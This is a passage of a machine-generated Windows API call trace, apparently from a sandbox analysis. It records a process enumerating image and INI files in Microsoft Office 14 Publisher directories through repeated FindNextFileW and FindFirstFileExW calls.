ftLastAccessTime.dwLowDateTime=0x1bd6e5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x98a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR43B.GIF", cAlternateFileName="")) returned 1 [0078.027] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd6e5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x997, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR43F.GIF", cAlternateFileName="")) returned 1 [0078.027] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd94710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b06, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR44B.GIF", cAlternateFileName="")) returned 1 [0078.027] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd94710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1a76, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR44F.GIF", cAlternateFileName="")) returned 1 [0078.027] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd94710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x17bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR45B.GIF", cAlternateFileName="")) returned 1 [0078.028] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd94710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x16eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR45F.GIF", cAlternateFileName="")) returned 1 [0078.028] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd94710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1304, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR46B.GIF", cAlternateFileName="")) returned 1 [0078.028] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd94710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x141c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR46F.GIF", cAlternateFileName="")) returned 1 [0078.028] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd94710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x7517, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR47B.GIF", cAlternateFileName="")) returned 1 [0078.028] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd94710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x539e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR47F.GIF", cAlternateFileName="")) returned 1 [0078.028] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd94710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x67f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR48B.GIF", cAlternateFileName="")) returned 1 [0078.028] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd94710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1ba1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR48F.GIF", cAlternateFileName="")) returned 1 [0078.028] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd94710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1cd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR49B.GIF", cAlternateFileName="")) returned 1 [0078.028] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd94710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b99, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR49F.GIF", cAlternateFileName="")) returned 1 [0078.028] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd94710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2fc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR4B.GIF", cAlternateFileName="")) returned 1 [0078.028] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bdba870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8edb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR4F.GIF", cAlternateFileName="")) returned 1 [0078.028] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bdba870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x10a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR50B.GIF", cAlternateFileName="")) returned 1 [0078.028] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bdba870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x117f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR50F.GIF", cAlternateFileName="")) returned 1 [0078.028] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bdba870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2395, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR51B.GIF", cAlternateFileName="")) returned 1 [0078.028] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bdba870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1179, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR51F.GIF", cAlternateFileName="")) returned 1 [0078.028] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bdba870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x592b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR5B.GIF", cAlternateFileName="")) returned 1 [0078.028] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bdba870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xdb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR5F.GIF", cAlternateFileName="")) returned 1 [0078.028] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bdba870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2ade, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR6B.GIF", cAlternateFileName="")) returned 1 [0078.028] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bdba870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x41e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR6F.GIF", cAlternateFileName="")) returned 1 [0078.028] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bdba870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x5559, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR7B.GIF", cAlternateFileName="")) returned 1 [0078.028] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bdba870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x5fdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR7F.GIF", cAlternateFileName="")) returned 1 [0078.028] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bde09d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1038, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR8B.GIF", cAlternateFileName="")) returned 1 [0078.029] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bde09d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2d54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR8F.GIF", cAlternateFileName="")) returned 1 [0078.029] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bde09d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3e39, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR9B.GIF", cAlternateFileName="")) returned 1 [0078.029] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bde09d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x46ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR9F.GIF", cAlternateFileName="")) returned 1 [0078.029] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bde09d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x46ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR9F.GIF", cAlternateFileName="")) returned 0 [0078.029] GetLastError () returned 0x12 [0078.029] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0078.029] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0078.029] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bde09d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bde09d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.029] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x182b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPERS.INI", cAlternateFileName="")) returned 1 [0078.029] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3bb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR10F.GIF", cAlternateFileName="")) returned 1 [0078.029] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x142f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR11F.GIF", cAlternateFileName="")) returned 1 [0078.029] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x46df, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR12F.GIF", cAlternateFileName="")) returned 1 [0078.029] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x430d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR13F.GIF", cAlternateFileName="")) returned 1 [0078.029] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x5cb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR14F.GIF", cAlternateFileName="")) returned 1 [0078.029] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bac0cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1cb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR15F.GIF", cAlternateFileName="")) returned 1 [0078.029] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bac0cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x399f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR16F.GIF", cAlternateFileName="")) returned 1 [0078.029] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bac0cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2bb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR17F.GIF", cAlternateFileName="")) returned 1 [0078.029] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bac0cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x41f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR18F.GIF", cAlternateFileName="")) returned 1 [0078.029] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bac0cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xc4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR19F.GIF", cAlternateFileName="")) returned 1 [0078.029] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bac0cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xd98, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR1B.GIF", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bac0cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xf6d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR1F.GIF", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bac0cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3408, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR20F.GIF", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, 